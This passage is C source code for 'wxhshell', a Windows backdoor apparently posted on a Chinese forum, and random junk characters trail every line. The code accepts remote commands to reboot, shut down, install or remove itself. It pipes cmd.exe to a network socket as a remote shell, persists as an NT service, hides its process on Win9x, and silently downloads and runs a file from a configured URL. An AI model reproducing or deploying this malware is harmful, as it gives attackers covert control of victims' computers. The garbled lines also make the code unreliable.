    switch(cmd[0]) { <M M(Z  
  fx = %e  
  // 帮助 `;z;=A*  
  case '?': { Zie t-@}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  4B'-tV  
    break; =xRxr @  
  } }!@X(S!do  
  // 安装 ki9vJ<  
  case 'i': { NA9ss  
    if(Install()) 1 eMaKT_=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |5me }!C  
    else ?CZ*MMV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `d!~)D  
    break; KAm$^N5  
    } x*0mmlCb  
  // 卸载 BnIZ+fg=  
  case 'r': { +V/mV7FK  
    if(Uninstall()) }BLT2]y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]M/*Beh  
    else J3AS"+]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cT3s{k  
    break; b"&1l2\ A  
    } G?v]|wdI  
  // 显示 wxhshell 所在路径  q{RT~,%  
  case 'p': { o3>D~9  
    char svExeFile[MAX_PATH]; CUa`#  
    strcpy(svExeFile,"\n\r"); 6cbIs_ g  
      strcat(svExeFile,ExeFile); a~O](/+p;  
        send(wsh,svExeFile,strlen(svExeFile),0); E]%&)3O[  
    break; fg~9{1B  
    } 02~GT_)$^  
  // 重启 N="H 06t  
  case 'b': { +y|H#(wBP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cK6IyJx-  
    if(Boot(REBOOT)) BxHfL8$1[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mY/x|)MmM  
    else { H"%SzU  
    closesocket(wsh); dJUI.!hv;  
    ExitThread(0);  Dv-ubki  
    } P>;uS  
    break; 4dUr8]BkG  
    } J5*(PxDF  
  // 关机 Xsv^GmP+  
  case 'd': { =YeI,KbA)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `#>JRQ=  
    if(Boot(SHUTDOWN)) \>(S?)6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $_b^p=  
    else { R9O[`~BA2  
    closesocket(wsh); il >XV>  
    ExitThread(0); rklK=W z  
    } b2HHoIT  
    break; C4 @"@kbr  
    } hYv;*]  
  // 获取shell bB"q0{9G-  
  case 's': { qlIbnyP<  
    CmdShell(wsh); GXx/pBdy[4  
    closesocket(wsh); iJ 8I# j+N  
    ExitThread(0); vV 7L :>  
    break; 3M<T}>  
  } t/0h)mL}  
  // 退出 i 79;;9M  
  case 'x': { 8WL*Pr 1I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o9L$B  
    CloseIt(wsh); u4;#~##  
    break; {_1zIt|  
    } (S#nA:E  
  // 离开 [wR x)F"  
  case 'q': { _#rE6./@q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y)OTvKrOA  
    closesocket(wsh); LwS>jNJx  
    WSACleanup(); M>"J5yqR  
    exit(1); 8nOent0a  
    break; {\zB'SNq  
        } Jb"0P`senY  
  } yZDS>7H  
  } pG9qD2C f  
30nR2mB Kt  
  // 提示信息 wf=M| #}_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3rQ;}<*M  
} g7nqe~`{  
  } 6qzyeli  
6I,4 6 XZ-  
  return; iH[ .u{h  
} #ZvDf5A  
T *8rR"  
// shell模块句柄 Uv"O'Z  
int CmdShell(SOCKET sock) @8xa"Dc  
{ XZ!^kftyW  
STARTUPINFO si; ,zU7UL^I  
ZeroMemory(&si,sizeof(si)); WnZn$N.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :OvTZ ?\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;L.RfP"5<  
PROCESS_INFORMATION ProcessInfo; b\H !\A  
char cmdline[]="cmd"; ThmN^N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +p#Q|o'  
  return 0; l4`HuNR1  
} FW7@7cVoF  
lL{1wCsl  
// 自身启动模式 O9(6?n  
int StartFromService(void) !K319 eE  
{ &fu J%  
typedef struct Bfz]PN78.G  
{ [_SV$Jz  
  DWORD ExitStatus; wSP'pM{#2  
  DWORD PebBaseAddress; 0?d}Oj  
  DWORD AffinityMask; 5u3SP?.&  
  DWORD BasePriority;  ]6 ]Nr  
  ULONG UniqueProcessId; &H<n76G  
  ULONG InheritedFromUniqueProcessId; T)"LuC#C  
}   PROCESS_BASIC_INFORMATION; mbh;oX+  
|<Gq^3 2  
PROCNTQSIP NtQueryInformationProcess; ]v{TSP^/  
>[|Y$$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i4 Vv6Sx1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7o5~J)qIC  
JK@" &  
  HANDLE             hProcess; <.qhW^>X  
  PROCESS_BASIC_INFORMATION pbi; R" '=^  
:k*3?*'K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #>/s tU-  
  if(NULL == hInst ) return 0; m^rrbU+HM?  
iS%md  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b`Agb <x"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /,cyp .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AD/7k3:  
~56F<=#,  
  if (!NtQueryInformationProcess) return 0; jWL;ElM'  
:Z'q1kW@"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4RYvI!  
  if(!hProcess) return 0; ,V}Vxq3  
.*>pD/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v)AadtZ0d  
$IU|zda8  
  CloseHandle(hProcess); FaUc"J  
:0)nL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;x=r.3OQy  
if(hProcess==NULL) return 0; }qhNz0*  
1FQ_`wF4  
HMODULE hMod; -6./bB g  
char procName[255]; 5o dtYI%L  
unsigned long cbNeeded; wmf#3"n  
?()$imb*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M~/R1\'&j  
,\cO>y@  
  CloseHandle(hProcess); `aw5"ns^V  
YPY'[j(p`n  
if(strstr(procName,"services")) return 1; // 以服务启动 _g#v*7o2@  
~^u#Q\KE"  
  return 0; // 注册表启动 <h"*"q|9  
} lh?TEQ  
r{~@hd'Aj  
// 主模块 y$n`+%_  
int StartWxhshell(LPSTR lpCmdLine) O%n=n3  
{ cA8"Ft{P)  
  SOCKET wsl; H LnizE  
BOOL val=TRUE; R6KS&Ge_  
  int port=0; E5y\t_H  
  struct sockaddr_in door; Z$'483<  
&InMI#0mV  
  if(wscfg.ws_autoins) Install(); 9 yE   
gU^2;C  
port=atoi(lpCmdLine); u(`,7 o "  
Ea7LPHE#  
if(port<=0) port=wscfg.ws_port; 4xE [S  
STxreW1  
  WSADATA data; +UTs2*H/^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u3>D vl@  
s{]2~Z^2od  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V9"?}cR/W;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tLzX L *  
  door.sin_family = AF_INET; TnvX&Y'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <RMrp@[  
  door.sin_port = htons(port); [sT}hYh+  
ETA 1\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?H.7 WtTC  
closesocket(wsl); HAi'0%"  
return 1; C"We>!  
} Ehv*E  
'n)]"G|  
  if(listen(wsl,2) == INVALID_SOCKET) { z'FJx2  
closesocket(wsl); y s3&$G  
return 1; @9wug!,  
} ;1&7v  
  Wxhshell(wsl); Gpauy=4f  
  WSACleanup(); %HNe"7gk  
= +=k(*  
return 0; vV?=r5j  
#q5 L4uM9  
} @zHTKi`  
?+WSYg0  
// 以NT服务方式启动 BP7&w d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?_+h+{/@B  
{ 3]iBX`Ni  
DWORD   status = 0; !PFc)J  
  DWORD   specificError = 0xfffffff;  #)r  
{J}Zv5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }gr6naz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q-;z!iq|!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C6XZZ  
  serviceStatus.dwWin32ExitCode     = 0; ;6?VkF  
  serviceStatus.dwServiceSpecificExitCode = 0; \R0&*cnmo  
  serviceStatus.dwCheckPoint       = 0; a_pNFe  
  serviceStatus.dwWaitHint       = 0; \2K_"5  
BZP~m=kq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >J \}&!8,  
  if (hServiceStatusHandle==0) return; `XJU$c  
V_SZp8  
status = GetLastError(); i8tH0w/(M  
  if (status!=NO_ERROR) $g?`yE(K  
{ Xyrf$R'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^,$>z*WQ.  
    serviceStatus.dwCheckPoint       = 0; 7|"gMw/  
    serviceStatus.dwWaitHint       = 0; 'WA]DlO  
    serviceStatus.dwWin32ExitCode     = status; *c[X{  
    serviceStatus.dwServiceSpecificExitCode = specificError; XSu9C zx&I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wn9b</ tf  
    return; -I'@4\<  
  } oA _,jsD4  
}h6 N.vz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {bSi3oI  
  serviceStatus.dwCheckPoint       = 0; GV5hmDzRs  
  serviceStatus.dwWaitHint       = 0; KV!!D{VS`@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); whzV7RT  
} !H5r+%Oo|  
Y-.pslg  
// 处理NT服务事件,比如:启动、停止 A7;|~??  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vPV=K+1  
{ q0oNRAvn"  
switch(fdwControl) ,pgpu !  
{ nI-^   
case SERVICE_CONTROL_STOP: ;JK !dzi}  
  serviceStatus.dwWin32ExitCode = 0; vB:_|B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,DHiM-v  
  serviceStatus.dwCheckPoint   = 0; \ >@'wl  
  serviceStatus.dwWaitHint     = 0; Z?vbe}pUM  
  { ~t $zypw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8?L7h\)-  
  } g]=w_  
  return; GTw3rD^wg  
case SERVICE_CONTROL_PAUSE: yH<^txNF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u_C/Y[ik  
  break; /uc*V6Xd (  
case SERVICE_CONTROL_CONTINUE: ?E@ 9Nvr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,~!rn}MI<  
  break; Sc<%$ Gd  
case SERVICE_CONTROL_INTERROGATE: llf|d'5Nl  
  break; w2!5Cb2  
}; 03iD(,@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); * 7ki$f!  
} &J\V !uVo  
*}t,:N;i  
// 标准应用程序主函数 )1KlcF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JVzU'd;1!  
{ ]"3(UKx  
@bN`+DC!<  
// 获取操作系统版本 H$ !78/f  
OsIsNt=GetOsVer(); vKzq7E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .}}w@NO  
#'qEm=%  
  // 从命令行安装 USKa6<:{W  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2qb,bp1$  
;xnJ+$//U  
  // 下载执行文件 kp~@Ub @O3  
if(wscfg.ws_downexe) { 5z8!Nmb/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BPoY32d"_  
  WinExec(wscfg.ws_filenam,SW_HIDE); A 'Q nL  
} >g+ogwZ  
xwwy9:ze*l  
if(!OsIsNt) { J~0_  
// 如果时win9x,隐藏进程并且设置为注册表启动 >-s\$8En'  
HideProc(); *Ge2P3  
StartWxhshell(lpCmdLine); nyZUf{:  
} :EISms  
else ddDl~&}o  
  if(StartFromService()) 7Ca+Pe}/n,  
  // 以服务方式启动 *}Al0\q0M  
  StartServiceCtrlDispatcher(DispatchTable); g4BEo'  
else AwhXCq|k  
  // 普通方式启动 `7|\Gqy  
  StartWxhshell(lpCmdLine); 'V reO52  
H!y%FaTi  
return 0; ZiBTe,;  
}
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只看该作者 1 发表于: 2006-10-10
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